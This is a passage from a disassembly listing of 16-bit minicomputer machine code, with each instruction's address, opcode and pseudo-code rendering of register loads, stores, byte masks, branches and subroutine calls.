0x0035 (0x00006A) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0036 (0x00006C) 0x291E- f:00024 d: 286 | OR[286] = A
0x0037 (0x00006E) 0x7E03-0x0392 f:00077 d: 3 | R = OR[3]+914 (0x0392)
0x0039 (0x000072) 0x2123- f:00020 d: 291 | A = OR[291]
0x003A (0x000074) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF)
0x003B (0x000076) 0x2923- f:00024 d: 291 | OR[291] = A
0x003C (0x000078) 0x2121- f:00020 d: 289 | A = OR[289]
0x003D (0x00007A) 0x1423- f:00012 d: 35 | A = A + 35 (0x0023)
0x003E (0x00007C) 0x2908- f:00024 d: 264 | OR[264] = A
0x003F (0x00007E) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0040 (0x000080) 0x1A00-0xFF00 f:00015 d: 0 | A = A & 65280 (0xFF00)
0x0042 (0x000084) 0x2523- f:00022 d: 291 | A = A + OR[291]
0x0043 (0x000086) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x0044 (0x000088) 0x2124- f:00020 d: 292 | A = OR[292]
0x0045 (0x00008A) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF)
0x0046 (0x00008C) 0x2924- f:00024 d: 292 | OR[292] = A
0x0047 (0x00008E) 0x2121- f:00020 d: 289 | A = OR[289]
0x0048 (0x000090) 0x1422- f:00012 d: 34 | A = A + 34 (0x0022)
0x0049 (0x000092) 0x2908- f:00024 d: 264 | OR[264] = A
0x004A (0x000094) 0x3108- f:00030 d: 264 | A = (OR[264])
0x004B (0x000096) 0x1A00-0xFF00 f:00015 d: 0 | A = A & 65280 (0xFF00)
0x004D (0x00009A) 0x2524- f:00022 d: 292 | A = A + OR[292]
0x004E (0x00009C) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x004F (0x00009E) 0x7A03-0x0303 f:00075 d: 3 | P = OR[3]+771 (0x0303)
0x0051 (0x0000A2) 0x1800-0x01F0 f:00014 d: 0 | A = 496 (0x01F0)
0x0053 (0x0000A6) 0x291F- f:00024 d: 287 | OR[287] = A
0x0054 (0x0000A8) 0x7E03-0x0350 f:00077 d: 3 | R = OR[3]+848 (0x0350)
0x0056 (0x0000AC) 0x2120- f:00020 d: 288 | A = OR[288]
0x0057 (0x0000AE) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001)
0x0058 (0x0000B0) 0x2908- f:00024 d: 264 | OR[264] = A
0x0059 (0x0000B2) 0x3108- f:00030 d: 264 | A = (OR[264])
0x005A (0x0000B4) 0x2922- f:00024 d: 290 | OR[290] = A
0x005B (0x0000B6) 0x7E03-0x0392 f:00077 d: 3 | R = OR[3]+914 (0x0392)
0x005D (0x0000BA) 0x2121- f:00020 d: 289 | A = OR[289]
0x005E (0x0000BC) 0x1413- f:00012 d: 19 | A = A + 19 (0x0013)
0x005F (0x0000BE) 0x2908- f:00024 d: 264 | OR[264] = A
0x0060 (0x0000C0) 0x2122- f:00020 d: 290 | A = OR[290]
0x0061 (0x0000C2) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x0062 (0x0000C4) 0x1800-0x4C4F f:00014 d: 0 | A = 19535 (0x4C4F)
0x0064 (0x0000C8) 0x291E- f:00024 d: 286 | OR[286] = A
0x0065 (0x0000CA) 0x7A03-0x0303 f:00075 d: 3 | P = OR[3]+771 (0x0303)
0x0067 (0x0000CE) 0x1800-0x0300 f:00014 d: 0 | A = 768 (0x0300)
0x0069 (0x0000D2) 0x291F- f:00024 d: 287 | OR[287] = A
0x006A (0x0000D4) 0x7E03-0x0350 f:00077 d: 3 | R = OR[3]+848 (0x0350)
0x006C (0x0000D8) 0x3120- f:00030 d: 288 | A = (OR[288])
0x006D (0x0000DA) 0x0808- f:00004 d: 8 | A = A > 8 (0x0008)
0x006E (0x0000DC) 0x2913- f:00024 d: 275 | OR[275] = A
0x006F (0x0000DE) 0x1800-0xFFFF f:00014 d: 0 | A = 65535 (0xFFFF)
0x0071 (0x0000E2) 0x2923- f:00024 d: 291 | OR[291] = A
0x0072 (0x0000E4) 0x2113- f:00020 d: 275 | A = OR[275]
0x0073 (0x0000E6) 0x1601- f:00013 d: 1 | A = A - 1 (0x0001)
0x0074 (0x0000E8) 0x8402- f:00102 d: 2 | P = P + 2 (0x0076), A = 0
0x0075 (0x0000EA) 0x7006- f:00070 d: 6 | P = P + 6 (0x007B)
0x0076 (0x0000EC) 0x2120- f:00020 d: 288 | A = OR[288]
0x0077 (0x0000EE) 0x1402- f:00012 d: 2 | A = A + 2 (0x0002)
0x0078 (0x0000F0) 0x2908- f:00024 d: 264 | OR[264] = A
0x0079 (0x0000F2) 0x3108- f:00030 d: 264 | A = (OR[264])
0x007A (0x0000F4) 0x2923- f:00024 d: 291 | OR[291] = A
0x007B (0x0000F6) 0x7E03-0x0392 f:00077 d: 3 | R = OR[3]+914 (0x0392)
0x007D (0x0000FA) 0x2121- f:00020 d: 289 | A = OR[289]
0x007E (0x0000FC) 0x1408- f:00012 d: 8 | A = A + 8 (0x0008)
0x007F (0x0000FE) 0x2908- f:00024 d: 264 | OR[264] = A
0x0080 (0x000100) 0x2123- f:00020 d: 291 | A = OR[291]
0x0081 (0x000102) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x0082 (0x000104) 0x1800-0x4A4C f:00014 d: 0 | A = 19020 (0x4A4C)
0x0084 (0x000108) 0x291E- f:00024 d: 286 | OR[286] = A
0x0085 (0x00010A) 0x7A03-0x0303 f:00075 d: 3 | P = OR[3]+771 (0x0303)
0x0087 (0x00010E) 0x1800-0x043C f:00014 d: 0 | A = 1084 (0x043C)
0x0089 (0x000112) 0x291F- f:00024 d: 287 | OR[287] = A
0x008A (0x000114) 0x7E03-0x0350 f:00077 d: 3 | R = OR[3]+848 (0x0350)
0x008C (0x000118) 0x3120- f:00030 d: 288 | A = (OR[288])
0x008D (0x00011A) 0x0808- f:00004 d: 8 | A = A > 8 (0x0008)
0x008E (0x00011C) 0x2913- f:00024 d: 275 | OR[275] = A
0x008F (0x00011E) 0x2113- f:00020 d: 275 | A = OR[275]
0x0090 (0x000120) 0x160C- f:00013 d: 12 | A = A - 12 (0x000C)
0x0091 (0x000122) 0x8402- f:00102 d: 2 | P = P + 2 (0x0093), A = 0
0x0092 (0x000124) 0x7024- f:00070 d: 36 | P = P + 36 (0x00B6)
0x0093 (0x000126) 0x1028- f:00010 d: 40 | A = 40 (0x0028)
0x0094 (0x000128) 0x2927- f:00024 d: 295 | OR[295] = A
0x0095 (0x00012A) 0x1800-0x0137 f:00014 d: 0 | A = 311 (0x0137)
0x0097 (0x00012E) 0x2928- f:00024 d: 296 | OR[296] = A
0x0098 (0x000130) 0x1800-0x0027 f:00014 d: 0 | A = 39 (0x0027)
0x009A (0x000134) 0x2929- f:00024 d: 297 | OR[297] = A
0x009B (0x000136) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x009C (0x000138) 0x292A- f:00024 d: 298 | OR[298] = A
0x009D (0x00013A) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x009E (0x00013C) 0x292B- f:00024 d: 299 | OR[299] = A
0x009F (0x00013E) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x00A0 (0x000140) 0x292C- f:00024 d: 300 | OR[300] = A
0x00A1 (0x000142) 0x1127- f:00010 d: 295 | A = 295 (0x0127)
0x00A2 (0x000144) 0x5800- f:00054 d: 0 | B = A
0x00A3 (0x000146) 0x1800-0x1F18 f:00014 d: 0 | A = 7960 (0x1F18)
0x00A5 (0x00014A) 0x7C09- f:00076 d: 9 | R = OR[9]
0x00A6 (0x00014C) 0x2F04- f:00027 d: 260 | OR[260] = OR[260] - 1
0x00A7 (0x00014E) 0x3104- f:00030 d: 260 | A = (OR[260])
0x00A8 (0x000150) 0x2904- f:00024 d: 260 | OR[260] = A
0x00A9 (0x000152) 0x2104- f:00020 d: 260 | A = OR[260]
0x00AA (0x000154) 0x2706- f:00023 d: 262 | A = A - OR[262]
0x00AB (0x000156) 0x8007- f:00100 d: 7 | P = P + 7 (0x00B2), C = 0
0x00AC (0x000158) 0x2104- f:00020 d: 260 | A = OR[260]
0x00AD (0x00015A) 0x2705- f:00023 d: 261 | A = A - OR[261]
0x00AE (0x00015C) 0x8003- f:00100 d: 3 | P = P + 3 (0x00B1), C = 0
0x00AF (0x00015E) 0x8402- f:00102 d: 2 | P = P + 2 (0x00B1), A = 0
0x00B0 (0x000160) 0x7002- f:00070 d: 2 | P = P + 2 (0x00B2)
0x00B1 (0x000162) 0x7003- f:00070 d: 3 | P = P + 3 (0x00B4)
0x00B2 (0x000164) 0x7C34- f:00076 d: 52 | R = OR[52]
0x00B3 (0x000166) 0x000B- f:00000 d: 11 | PASS | **** non-standard encoding with D:0x000B ****
0x00B4 (0x000168) 0x7A03-0x034A f:00075 d: 3 | P = OR[3]+842 (0x034A)
0x00B6 (0x00016C) 0x2113- f:00020 d: 275 | A = OR[275]
0x00B7 (0x00016E) 0x1601- f:00013 d: 1 | A = A - 1 (0x0001)
0x00B8 (0x000170) 0x8402- f:00102 d: 2 | P = P + 2 (0x00BA), A = 0
0x00B9 (0x000172) 0x700A- f:00070 d: 10 | P = P + 10 (0x00C3)
0x00BA (0x000174) 0x1800-0x5247 f:00014 d: 0 | A = 21063 (0x5247)
0x00BC (0x000178) 0x291E- f:00024 d: 286 | OR[286] = A
0x00BD (0x00017A) 0x2120- f:00020 d: 288 | A = OR[288]
0x00BE (0x00017C) 0x1402- f:00012 d: 2 | A = A + 2 (0x0002)
0x00BF (0x00017E) 0x2908- f:00024 d: 264 | OR[264] = A
0x00C0 (0x000180) 0x3108- f:00030 d: 264 | A = (OR[264])
0x00C1 (0x000182) 0x2914- f:00024 d: 276 | OR[276] = A
0x00C2 (0x000184) 0x706E- f:00070 d: 110 | P = P + 110 (0x0130)
0x00C3 (0x000186) 0x2113- f:00020 d: 275 | A = OR[275]
0x00C4 (0x000188) 0x1603- f:00013 d: 3 | A = A - 3 (0x0003)
0x00C5 (0x00018A) 0x8402- f:00102 d: 2 | P = P + 2 (0x00C7), A = 0
0x00C6 (0x00018C) 0x7047- f:00070 d: 71 | P = P + 71 (0x010D)
0x00C7 (0x00018E) 0x2120- f:00020 d: 288 | A = OR[288]
0x00C8 (0x000190) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001)
0x00C9 (0x000192) 0x2908- f:00024 d: 264 | OR[264] = A
0x00CA (0x000194) 0x3108- f:00030 d: 264 | A = (OR[264])
0x00CB (0x000196) 0x2914- f:00024 d: 276 | OR[276] = A
0x00CC (0x000198) 0x2114- f:00020 d: 276 | A = OR[276]
0x00CD (0x00019A) 0x8402- f:00102 d: 2 | P = P + 2 (0x00CF), A = 0
0x00CE (0x00019C) 0x7005- f:00070 d: 5 | P = P + 5 (0x00D3)
0x00CF (0x00019E) 0x1800-0x5245 f:00014 d: 0 | A = 21061 (0x5245)
0x00D1 (0x0001A2) 0x291E- f:00024 d: 286 | OR[286] = A
0x00D2 (0x0001A4) 0x703A- f:00070 d: 58 | P = P + 58 (0x010C)
0x00D3 (0x0001A6) 0x2114- f:00020 d: 276 | A = OR[276]
0x00D4 (0x0001A8) 0x1601- f:00013 d: 1 | A = A - 1 (0x0001)
0x00D5 (0x0001AA) 0x8402- f:00102 d: 2 | P = P + 2 (0x00D7), A = 0
0x00D6 (0x0001AC) 0x7013- f:00070 d: 19 | P = P + 19 (0x00E9)
0x00D7 (0x0001AE) 0x1800-0x5246 f:00014 d: 0 | A = 21062 (0x5246)
0x00D9 (0x0001B2) 0x291E- f:00024 d: 286 | OR[286] = A
0x00DA (0x0001B4) 0x7E03-0x038B f:00077 d: 3 | R = OR[3]+907 (0x038B)
0x00DC (0x0001B8) 0x1004- f:00010 d: 4 | A = 4 (0x0004)
0x00DD (0x0001BA) 0x2913- f:00024 d: 275 | OR[275] = A
0x00DE (0x0001BC) 0x2120- f:00020 d: 288 | A = OR[288]
0x00DF (0x0001BE) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001)
0x00E0 (0x0001C0) 0x2908- f:00024 d: 264 | OR[264] = A
0x00E1 (0x0001C2) 0x3108- f:00030 d: 264 | A = (OR[264])
0x00E2 (0x0001C4) 0x2915- f:00024 d: 277 | OR[277] = A
0x00E3 (0x0001C6) 0x2120- f:00020 d: 288 | A = OR[288]
0x00E4 (0x0001C8) 0x1402- f:00012 d: 2 | A = A + 2 (0x0002)
0x00E5 (0x0001CA) 0x2908- f:00024 d: 264 | OR[264] = A
0x00E6 (0x0001CC) 0x3108- f:00030 d: 264 | A = (OR[264])
0x00E7 (0x0001CE) 0x2916- f:00024 d: 278 | OR[278] = A
0x00E8 (0x0001D0) 0x7024- f:00070 d: 36 | P = P + 36 (0x010C)
0x00E9 (0x0001D2) 0x1028- f:00010 d: 40 | A = 40 (0x0028)
0x00EA (0x0001D4) 0x2927- f:00024 d: 295 | OR[295] = A
0x00EB (0x0001D6) 0x1800-0x0137 f:00014 d: 0 | A = 311 (0x0137)
0x00ED (0x0001DA) 0x2928- f:00024 d: 296 | OR[296] = A
0x00EE (0x0001DC) 0x1800-0x0004 f:00014 d: 0 | A = 4 (0x0004)
0x00F0 (0x0001E0) 0x2929- f:00024 d: 297 | OR[297] = A
0x00F1 (0x0001E2) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x00F2 (0x0001E4) 0x292A- f:00024 d: 298 | OR[298] = A
0x00F3 (0x0001E6) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x00F4 (0x0001E8) 0x292B- f:00024 d: 299 | OR[299] = A
0x00F5 (0x0001EA) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x00F6 (0x0001EC) 0x292C- f:00024 d: 300 | OR[300] = A
0x00F7 (0x0001EE) 0x1127- f:00010 d: 295 | A = 295 (0x0127)
0x00F8 (0x0001F0) 0x5800- f:00054 d: 0 | B = A
0x00F9 (0x0001F2) 0x1800-0x1F18 f:00014 d: 0 | A = 7960 (0x1F18)
0x00FB (0x0001F6) 0x7C09- f:00076 d: 9 | R = OR[9]
0x00FC (0x0001F8) 0x2F04- f:00027 d: 260 | OR[260] = OR[260] - 1
0x00FD (0x0001FA) 0x3104- f:00030 d: 260 | A = (OR[260])
0x00FE (0x0001FC) 0x2904- f:00024 d: 260 | OR[260] = A
0x00FF (0x0001FE) 0x2104- f:00020 d: 260 | A = OR[260]
0x0100 (0x000200) 0x2706- f:00023 d: 262 | A = A - OR[262]
0x0101 (0x000202) 0x8007- f:00100 d: 7 | P = P + 7 (0x0108), C = 0
0x0102 (0x000204) 0x2104- f:00020 d: 260 | A = OR[260]
0x0103 (0x000206) 0x2705- f:00023 d: 261 | A = A - OR[261]
0x0104 (0x000208) 0x8003- f:00100 d: 3 | P = P + 3 (0x0107), C = 0
0x0105 (0x00020A) 0x8402- f:00102 d: 2 | P = P + 2 (0x0107), A = 0
0x0106 (0x00020C) 0x7002- f:00070 d: 2 | P = P + 2 (0x0108)
0x0107 (0x00020E) 0x7003- f:00070 d: 3 | P = P + 3 (0x010A)
0x0108 (0x000210) 0x7C34- f:00076 d: 52 | R = OR[52]
0x0109 (0x000212) 0x000B- f:00000 d: 11 | PASS | **** non-standard encoding with D:0x000B ****
0x010A (0x000214) 0x7A03-0x034A f:00075 d: 3 | P = OR[3]+842 (0x034A)
0x010C (0x000218) 0x7024- f:00070 d: 36 | P = P + 36 (0x0130)
0x010D (0x00021A) 0x1028- f:00010 d: 40 | A = 40 (0x0028)
0x010E (0x00021C) 0x2927- f:00024 d: 295 | OR[295] = A
0x010F (0x00021E) 0x1800-0x0137 f:00014 d: 0 | A = 311 (0x0137)
0x0111 (0x000222) 0x2928- f:00024 d: 296 | OR[296] = A
0x0112 (0x000224) 0x1800-0x0004 f:00014 d: 0 | A = 4 (0x0004)
0x0114 (0x000228) 0x2929- f:00024 d: 297 | OR[297] = A
0x0115 (0x00022A) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0116 (0x00022C) 0x292A- f:00024 d: 298 | OR[298] = A
0x0117 (0x00022E) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0118 (0x000230) 0x292B- f:00024 d: 299 | OR[299] = A
0x0119 (0x000232) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x011A (0x000234) 0x292C- f:00024 d: 300 | OR[300] = A
0x011B (0x000236) 0x1127- f:00010 d: 295 | A = 295 (0x0127)
0x011C (0x000238) 0x5800- f:00054 d: 0 | B = A
0x011D (0x00023A) 0x1800-0x1F18 f:00014 d: 0 | A = 7960 (0x1F18)
0x011F (0x00023E) 0x7C09- f:00076 d: 9 | R = OR[9]
0x0120 (0x000240) 0x2F04- f:00027 d: 260 | OR[260] = OR[260] - 1
0x0121 (0x000242) 0x3104- f:00030 d: 260 | A = (OR[260])
0x0122 (0x000244) 0x2904- f:00024 d: 260 | OR[260] = A
0x0123 (0x000246) 0x2104- f:00020 d: 260 | A = OR[260]
0x0124 (0x000248) 0x2706- f:00023 d: 262 | A = A - OR[262]
0x0125 (0x00024A) 0x8007- f:00100 d: 7 | P = P + 7 (0x012C), C = 0
0x0126 (0x00024C) 0x2104- f:00020 d: 260 | A = OR[260]
0x0127 (0x00024E) 0x2705- f:00023 d: 261 | A = A - OR[261]
0x0128 (0x000250) 0x8003- f:00100 d: 3 | P = P + 3 (0x012B), C = 0
0x0129 (0x000252) 0x8402- f:00102 d: 2 | P = P + 2 (0x012B), A = 0
0x012A (0x000254) 0x7002- f:00070 d: 2 | P = P + 2 (0x012C)
0x012B (0x000256) 0x7003- f:00070 d: 3 | P = P + 3 (0x012E)
0x012C (0x000258) 0x7C34- f:00076 d: 52 | R = OR[52]
0x012D (0x00025A) 0x000B- f:00000 d: 11 | PASS | **** non-standard encoding with D:0x000B ****
0x012E (0x00025C) 0x7A03-0x034A f:00075 d: 3 | P = OR[3]+842 (0x034A)
0x0130 (0x000260) 0x7E03-0x0392 f:00077 d: 3 | R = OR[3]+914 (0x0392)
0x0132 (0x000264) 0x2113- f:00020 d: 275 | A = OR[275]
0x0133 (0x000266) 0x1601- f:00013 d: 1 | A = A - 1 (0x0001)
0x0134 (0x000268) 0x8402- f:00102 d: 2 | P = P + 2 (0x0136), A = 0
0x0135 (0x00026A) 0x7007- f:00070 d: 7 | P = P + 7 (0x013C)
0x0136 (0x00026C) 0x2121- f:00020 d: 289 | A = OR[289]
0x0137 (0x00026E) 0x1407- f:00012 d: 7 | A = A + 7 (0x0007)
0x0138 (0x000270) 0x2908- f:00024 d: 264 | OR[264] = A
0x0139 (0x000272) 0x2114- f:00020 d: 276 | A = OR[276]
0x013A (0x000274) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x013B (0x000276) 0x703D- f:00070 d: 61 | P = P + 61 (0x0178)
0x013C (0x000278) 0x2113- f:00020 d: 275 | A = OR[275]
0x013D (0x00027A) 0x1604- f:00013 d: 4 | A = A - 4 (0x0004)
0x013E (0x00027C) 0x8402- f:00102 d: 2 | P = P + 2 (0x0140), A = 0
0x013F (0x00027E) 0x7039- f:00070 d: 57 | P = P + 57 (0x0178)
0x0140 (0x000280) 0x1061- f:00010 d: 97 | A = 97 (0x0061)
0x0141 (0x000282) 0x2917- f:00024 d: 279 | OR[279] = A
0x0142 (0x000284) 0x2115- f:00020 d: 277 | A = OR[277]
0x0143 (0x000286) 0x290F- f:00024 d: 271 | OR[271] = A
0x0144 (0x000288) 0x2117- f:00020 d: 279 | A = OR[279]
0x0145 (0x00028A) 0x2910- f:00024 d: 272 | OR[272] = A
0x0146 (0x00028C) 0x2116- f:00020 d: 278 | A = OR[278]
0x0147 (0x00028E) 0x2911- f:00024 d: 273 | OR[273] = A
0x0148 (0x000290) 0x702E- f:00070 d: 46 | P = P + 46 (0x0176)
0x0149 (0x000292) 0x210F- f:00020 d: 271 | A = OR[271]
0x014A (0x000294) 0x0801- f:00004 d: 1 | A = A > 1 (0x0001)
0x014B (0x000296) 0x2519- f:00022 d: 281 | A = A + OR[281]
0x014C (0x000298) 0x290D- f:00024 d: 269 | OR[269] = A
0x014D (0x00029A) 0x310D- f:00030 d: 269 | A = (OR[269])
0x014E (0x00029C) 0x290D- f:00024 d: 269 | OR[269] = A
0x014F (0x00029E) 0x210F- f:00020 d: 271 | A = OR[271]
0x0150 (0x0002A0) 0x1201- f:00011 d: 1 | A = A & 1 (0x0001)
0x0151 (0x0002A2) 0x2908- f:00024 d: 264 | OR[264] = A
0x0152 (0x0002A4) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0153 (0x0002A6) 0x2708- f:00023 d: 264 | A = A - OR[264]
0x0154 (0x0002A8) 0x8604- f:00103 d: 4 | P = P + 4 (0x0158), A # 0
0x0155 (0x0002AA) 0x210D- f:00020 d: 269 | A = OR[269]
0x0156 (0x0002AC) 0x0808- f:00004 d: 8 | A = A > 8 (0x0008)
0x0157 (0x0002AE) 0x290D- f:00024 d: 269 | OR[269] = A
0x0158 (0x0002B0) 0x210D- f:00020 d: 269 | A = OR[269]
0x0159 (0x0002B2) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF)
0x015A (0x0002B4) 0x2912- f:00024 d: 274 | OR[274] = A
0x015B (0x0002B6) 0x2D0F- f:00026 d: 271 | OR[271] = OR[271] + 1
0x015C (0x0002B8) 0x2112- f:00020 d: 274 | A = OR[274]
0x015D (0x0002BA) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF)
0x015E (0x0002BC) 0x290D- f:00024 d: 269 | OR[269] = A
0x015F (0x0002BE) 0x2110- f:00020 d: 272 | A = OR[272]
0x0160 (0x0002C0) 0x0801- f:00004 d: 1 | A = A > 1 (0x0001)
0x0161 (0x0002C2) 0x2521- f:00022 d: 289 | A = A + OR[289]
0x0162 (0x0002C4) 0x290E- f:00024 d: 270 | OR[270] = A
0x0163 (0x0002C6) 0x2110- f:00020 d: 272 | A = OR[272]
0x0164 (0x0002C8) 0x1201- f:00011 d: 1 | A = A & 1 (0x0001)
0x0165 (0x0002CA) 0x2908- f:00024 d: 264 | OR[264] = A
0x0166 (0x0002CC) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0167 (0x0002CE) 0x2708- f:00023 d: 264 | A = A - OR[264]
0x0168 (0x0002D0) 0x8607- f:00103 d: 7 | P = P + 7 (0x016F), A # 0
0x0169 (0x0002D2) 0x310E- f:00030 d: 270 | A = (OR[270])
0x016A (0x0002D4) 0x0A09- f:00005 d: 9 | A = A < 9 (0x0009)
0x016B (0x0002D6) 0x250D- f:00022 d: 269 | A = A + OR[269]
0x016C (0x0002D8) 0x0C09- f:00006 d: 9 | A = A >> 9 (0x0009)
0x016D (0x0002DA) 0x390E- f:00034 d: 270 | (OR[270]) = A
0x016E (0x0002DC) 0x7006- f:00070 d: 6 | P = P + 6 (0x0174)
0x016F (0x0002DE) 0x310E- f:00030 d: 270 | A = (OR[270])
0x0170 (0x0002E0) 0x1A00-0xFF00 f:00015 d: 0 | A = A & 65280 (0xFF00)
0x0172 (0x0002E4) 0x250D- f:00022 d: 269 | A = A + OR[269]
0x0173 (0x0002E6) 0x390E- f:00034 d: 270 | (OR[270]) = A
0x0174 (0x0002E8) 0x2D10- f:00026 d: 272 | OR[272] = OR[272] + 1
0x0175 (0x0002EA) 0x2F11- f:00027 d: 273 | OR[273] = OR[273] - 1
0x0176 (0x0002EC) 0x2111- f:00020 d: 273 | A = OR[273]
0x0177 (0x0002EE) 0x8E2E- f:00107 d: 46 | P = P - 46 (0x0149), A # 0
0x0178 (0x0002F0) 0x7A03-0x0303 f:00075 d: 3 | P = OR[3]+771 (0x0303)
0x017A (0x0002F4) 0x1800-0x04C0 f:00014 d: 0 | A = 1216 (0x04C0)
0x017C (0x0002F8) 0x291F- f:00024 d: 287 | OR[287] = A
0x017D (0x0002FA) 0x7E03-0x0350 f:00077 d: 3 | R = OR[3]+848 (0x0350)
0x017F (0x0002FE) 0x2120- f:00020 d: 288 | A = OR[288]
0x0180 (0x000300) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001)
0x0181 (0x000302) 0x2908- f:00024 d: 264 | OR[264] = A
0x0182 (0x000304) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0183 (0x000306) 0x2922- f:00024 d: 290 | OR[290] = A
0x0184 (0x000308) 0x7E03-0x038B f:00077 d: 3 | R = OR[3]+907 (0x038B)
0x0186 (0x00030C) 0x2120- f:00020 d: 288 | A = OR[288]
0x0187 (0x00030E) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001)
0x0188 (0x000310) 0x2908- f:00024 d: 264 | OR[264] = A
0x0189 (0x000312) 0x3108- f:00030 d: 264 | A = (OR[264])
0x018A (0x000314) 0x2923- f:00024 d: 291 | OR[291] = A
0x018B (0x000316) 0x7E03-0x0392 f:00077 d: 3 | R = OR[3]+914 (0x0392)
0x018D (0x00031A) 0x2121- f:00020 d: 289 | A = OR[289]
0x018E (0x00031C) 0x1413- f:00012 d: 19 | A = A + 19 (0x0013)
0x018F (0x00031E) 0x2908- f:00024 d: 264 | OR[264] = A
0x0190 (0x000320) 0x2122- f:00020 d: 290 | A = OR[290]
0x0191 (0x000322) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x0192 (0x000324) 0x2121- f:00020 d: 289 | A = OR[289]
0x0193 (0x000326) 0x141B- f:00012 d: 27 | A = A + 27 (0x001B)
0x0194 (0x000328) 0x2908- f:00024 d: 264 | OR[264] = A
0x0195 (0x00032A) 0x2123- f:00020 d: 291 | A = OR[291]
0x0196 (0x00032C) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x0197 (0x00032E) 0x1800-0x4944 f:00014 d: 0 | A = 18756 (0x4944)
0x0199 (0x000332) 0x291E- f:00024 d: 286 | OR[286] = A
0x019A (0x000334) 0x7A03-0x0303 f:00075 d: 3 | P = OR[3]+771 (0x0303)
0x019C (0x000338) 0x1800-0x05AC f:00014 d: 0 | A = 1452 (0x05AC)
0x019E (0x00033C) 0x291F- f:00024 d: 287 | OR[287] = A
0x019F (0x00033E) 0x7E03-0x0350 f:00077 d: 3 | R = OR[3]+848 (0x0350)
0x01A1 (0x000342) 0x2120- f:00020 d: 288 | A = OR[288]
0x01A2 (0x000344) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001)
0x01A3 (0x000346) 0x2908- f:00024 d: 264 | OR[264] = A
0x01A4 (0x000348) 0x3108- f:00030 d: 264 | A = (OR[264])
0x01A5 (0x00034A) 0x2922- f:00024 d: 290 | OR[290] = A
0x01A6 (0x00034C) 0x7E03-0x038B f:00077 d: 3 | R = OR[3]+907 (0x038B)
0x01A8 (0x000350) 0x2120- f:00020 d: 288 | A = OR[288]
0x01A9 (0x000352) 0x1402- f:00012 d: 2 | A = A + 2 (0x0002)
0x01AA (0x000354) 0x2908- f:00024 d: 264 | OR[264] = A
0x01AB (0x000356) 0x3108- f:00030 d: 264 | A = (OR[264])
0x01AC (0x000358) 0x2924- f:00024 d: 292 | OR[292] = A
0x01AD (0x00035A) 0x7E03-0x038B f:00077 d: 3 | R = OR[3]+907 (0x038B)
0x01AF (0x00035E) 0x2120- f:00020 d: 288 | A = OR[288]
0x01B0 (0x000360) 0x1402- f:00012 d: 2 | A = A + 2 (0x0002)
0x01B1 (0x000362) 0x2908- f:00024 d: 264 | OR[264] = A
0x01B2 (0x000364) 0x3108- f:00030 d: 264 | A = (OR[264])
0x01B3 (0x000366) 0x2925- f:00024 d: 293 | OR[293] = A
0x01B4 (0x000368) 0x7E03-0x038B f:00077 d: 3 | R = OR[3]+907 (0x038B)
0x01B6 (0x00036C) 0x2120- f:00020 d: 288 | A = OR[288]
0x01B7 (0x00036E) 0x1402- f:00012 d: 2 | A = A + 2 (0x0002)
0x01B8 (0x000370) 0x2908- f:00024 d: 264 | OR[264] = A
0x01B9 (0x000372) 0x3108- f:00030 d: 264 | A = (OR[264])
0x01BA (0x000374) 0x2926- f:00024 d: 294 | OR[294] = A
0x01BB (0x000376) 0x7E03-0x0392 f:00077 d: 3 | R = OR[3]+914 (0x0392)
0x01BD (0x00037A) 0x2121- f:00020 d: 289 | A = OR[289]
0x01BE (0x00037C) 0x1413- f:00012 d: 19 | A = A + 19 (0x0013)
0x01BF (0x00037E) 0x2908- f:00024 d: 264 | OR[264] = A
0x01C0 (0x000380) 0x2122- f:00020 d: 290 | A = OR[290]
0x01C1 (0x000382) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x01C2 (0x000384) 0x2124- f:00020 d: 292 | A = OR[292]
0x01C3 (0x000386) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF)
0x01C4 (0x000388) 0x2924- f:00024 d: 292 | OR[292] = A
0x01C5 (0x00038A) 0x2121- f:00020 d: 289 | A = OR[289]
0x01C6 (0x00038C) 0x1416- f:00012 d: 22 | A = A + 22 (0x0016)
0x01C7 (0x00038E) 0x2908- f:00024 d: 264 | OR[264] = A
0x01C8 (0x000390) 0x3108- f:00030 d: 264 | A = (OR[264])
0x01C9 (0x000392) 0x1A00-0xFF00 f:00015 d: 0 | A = A & 65280 (0xFF00)
0x01CB (0x000396) 0x2524- f:00022 d: 292 | A = A + OR[292]
0x01CC (0x000398) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x01CD (0x00039A) 0x2125- f:00020 d: 293 | A = OR[293]
0x01CE (0x00039C) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF)
0x01CF (0x00039E) 0x2925- f:00024 d: 293 | OR[293] = A
0x01D0 (0x0003A0) 0x2121- f:00020 d: 289 | A = OR[289]
0x01D1 (0x0003A2) 0x1417- f:00012 d: 23 | A = A + 23 (0x0017)
0x01D2 (0x0003A4) 0x2908- f:00024 d: 264 | OR[264] = A
